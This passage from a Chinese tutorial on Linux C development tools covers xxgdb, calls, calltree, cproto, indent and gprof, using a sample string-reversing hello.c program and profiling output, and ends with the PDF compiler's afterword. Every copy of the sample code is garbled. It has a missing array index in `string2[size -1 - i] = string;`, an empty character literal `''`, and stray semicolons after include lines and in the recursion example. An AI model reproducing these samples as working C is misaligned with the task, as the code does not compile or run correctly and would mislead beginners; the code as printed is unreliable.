如果程序产生了 core 文件，可以用 gdb hello core 命令来查看程序在何处出错。如在函数 my_print2()中，如果忘记了给 string2 分配内存 string2 = (char *) malloc (size + 1);，很可能就会 core dump.

8.另外的 C 编程工具

xxgdb

xxgdb 是 gdb 的一个基于 X Window 系统的图形界面. xxgdb 包括了命令行版的 gdb 上的所有特性. xxgdb 使你能通过按按钮来执行常用的命令. 设置了断点的地方也用图形来显示.

你能在一个 Xterm 窗口里键入下面的命令来运行它：

```
xxgdb
```

你能用 gdb 里任何有效的命令行选项来初始化 xxgdb . 此外 xxgdb 也有一些特有的命

令行选项, 表 27.2 列出了这些选项.

表 27.2. xxgdb 命令行选项.

选 项 描 述
db_name 指定所用调试器的名字, 缺省是 gdb.
db_prompt 指定调试器提示符, 缺省为 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省为 .gdbinit.

nx 告诉 xxgdb 不执行 .gdbinit 文件.
bigicon 使用大图标.

calls
你可以在 sunsite.unc.edu FTP 站点用下面的路径：
/pub/Linux/devel/lang/c/calls.tar.Z
来取得 calls , 一些旧版本的 Linux CD-ROM 发行版里也附带有. 因为它是一个有用的工具, 我们在这里也介绍一下. 如果你觉得有用的话, 从 BBS, FTP, 或另一张 CD-ROM 上弄一个拷贝. calls 调用 GCC 的预处理器来处理给出的源程序文件, 然后输出这些文件的里的函数调用树图.

注意： 在你的系统上安装 calls , 以超级用户身份登录后执行下面的步骤： 1. 解压和 untar 文件. 2. cd 进入 calls untar 后建立的子目录. 3. 把名叫 calls 的文件移动到 /usr/bin 目录. 4. 把名叫 calls.1 的文件移动到目录 /usr/man/man1 . 5. 删除 /tmp/calls 目录. 这些步骤将把 calls 程序和它的指南页安装载你的系统上.

--

当 calls 打印出调用跟踪结果时, 它在函数后面用中括号给出了函数所在文件的文件名：

main [hello.c]
如果函数并不是向 calls 给出的文件里的, calls 不知道所调用的函数来自哪里, 则只显示函数的名字：

printf
calls 不对递归和静态函数输出. 递归函数显示成下面的样子：

fact <<< recursive in factorial.c >;>;>;
静态函数象这样显示：

total [static in calculate.c]
作为一个例子, 假设用 calls 处理下面的程序：

#include <stdio.h>;

```
static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;

count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = '';
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
```

将产生如下的输出：

```
1 __underflow [hello.c]
2 main
```

3 my_print [hello.c]
4 count_sum [hello.c]
5 printf
6 my_print2 [hello.c]
7 count_sum
8 strlen
9 malloc
10 printf
calls 有很多命令行选项来设置不同的输出格式，有关这些选项的更多信息请参考 calls 的指南页. 方法是在命令行上键入 calls -h .

calltree
calltree 与 calls 类似，初了输出函数调用树图外，还有其它详细的信息。
可以从 sunsite.unc.edu FTP 站点用下面的路径
：/pub/Linux/devel/lang/c/calltree.tar.gz 得到 calltree.

cproto
cproto 读入 C 源程序文件并自动为每个函数产生原型申明. 用 cproto 可以在写程序时为你节省大量用来定义函数原型的时间.
如果你让 cproto 处理下面的代码(cproto hello.c)：

```
#include <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
```

```
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
```

你将得到下面的输出：

```
/* hello.c */

int main(void);

int my_print(char *string);

int my_print2(char *string);
```

这个输出可以重定向到一个定义函数原型的包含文件里.

indent

indent 实用程序是 Linux 里包含的另一个编程实用工具. 这个工具简单的说就为你的代码产生美观的缩进的格式. indent 也有很多选项来指定如何格式化你的源代码.这些选项的更多信息请看 indent 的指南页, 在命令行上键入 indent -h .

下面的例子是 indent 的缺省输出：

运行 indent 以前的 C 代码：

```
#include <stdio.h>;

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}
```

```
void my_print2 (char *string)
{
char *string2; int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
```

运行 indent 后的 C 代码：

```
#include <stdio.h>;
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void
my_print (char *string)
{
printf ("The string is %s ", string);
}
void
my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - 1 - i] = string;
string2[size] = '';
printf ("The string printed backward is %s ", string2);
}
```

indent 并不改变代码的实质内容，而只是改变代码的外观. 使它变得更可读，这永远是一件好事.

gprof

gprof 是安装在你的 Linux 系统的 /usr/bin 目录下的一个程序. 它使你能剖析你的程

序从而知道程序的哪一个部分在执行时最费时间.

gprof 将告诉你程序里每个函数被调用的次数和每个函数执行时所占时间的百分比. 你如果想提高你的程序性能的话这些信息非常有用.

为了在你的程序上使用 gprof, 你必须在编译程序时加上 -pg 选项. 这将使程序在每次执行时产生一个叫 gmon.out 的文件. gprof 用这个文件产生剖析信息.

在你运行了你的程序并产生了 gmon.out 文件后你能用下面的命令获得剖析信息：

gprof <program_name>;
参数 program_name 是产生 gmon.out 文件的程序的名字.

为了说明问题，在程序中增加了函数 count_sum()以消耗 CPU 时间，程序如下
#include <stdio.h>;

```
static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;
```

```
count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = '';
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
$ gcc -pg -o hello hello.c
$ ./hello
$ gprof hello | more
```

将产生以下的输出

Flat profile：

```
Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls us/call us/call name
69.23 0.09 0.09 1 90000.00 103333.33 my_print2
30.77 0.13 0.04 3 13333.33 13333.33 count_sum
0.00 0.13 0.00 2 0.00 13333.33 my_print
```

% 执行此函数所占用的时间占程序总
time 执行时间的百分比

cumulative 累计秒数 执行此函数花费的时间
seconds （包括此函数调用其它函数花费的时间）

self 执行此函数花费的时间
seconds （调用其它函数花费的时间不计算在内）

calls 调用次数

self 每此执行此函数花费的微秒时间
us/call

total 每此执行此函数加上它调用其它函数
us/call 花费的微秒时间

name 函数名

由以上数据可以看出，执行 my_print()函数本身没花费什么时间，但是它又调用了

count_sum()函数，所以累计秒数为 0.13.

技巧： gprof 产生的剖析数据很大, 如果你想检查这些数据的话最好把输出重定向到一个文件里。

二次制作后记：

看到这篇文章，写的很好，尤其对于初学者！于是我将其制作成 PDF 送给 Linux 及 C 的痴爱者！不过由于本人耐性欠佳，对文章里面格式基本上没有修改，请大家将就着阅读！另外一点我是在没联系前作者的前提下制作的，如果原作者看到本 PDF 后能有什么意见请跟我联系，我的邮箱 wangzihao[AT]gmail[DOT]com 或者给我 QQ 消息： 15959622。

在这里希望读者尊重原作者的劳动成果，转载请著名原作者，也请读者尊重我的劳动成果，尊重的方法就是把以上内容都学会 ^_^ 。

希望对大家学习和工作带来方便！如果有什么异议请按以上方法跟我联系！

AureoLEO 于哈尔滨理工大学 2005-12-18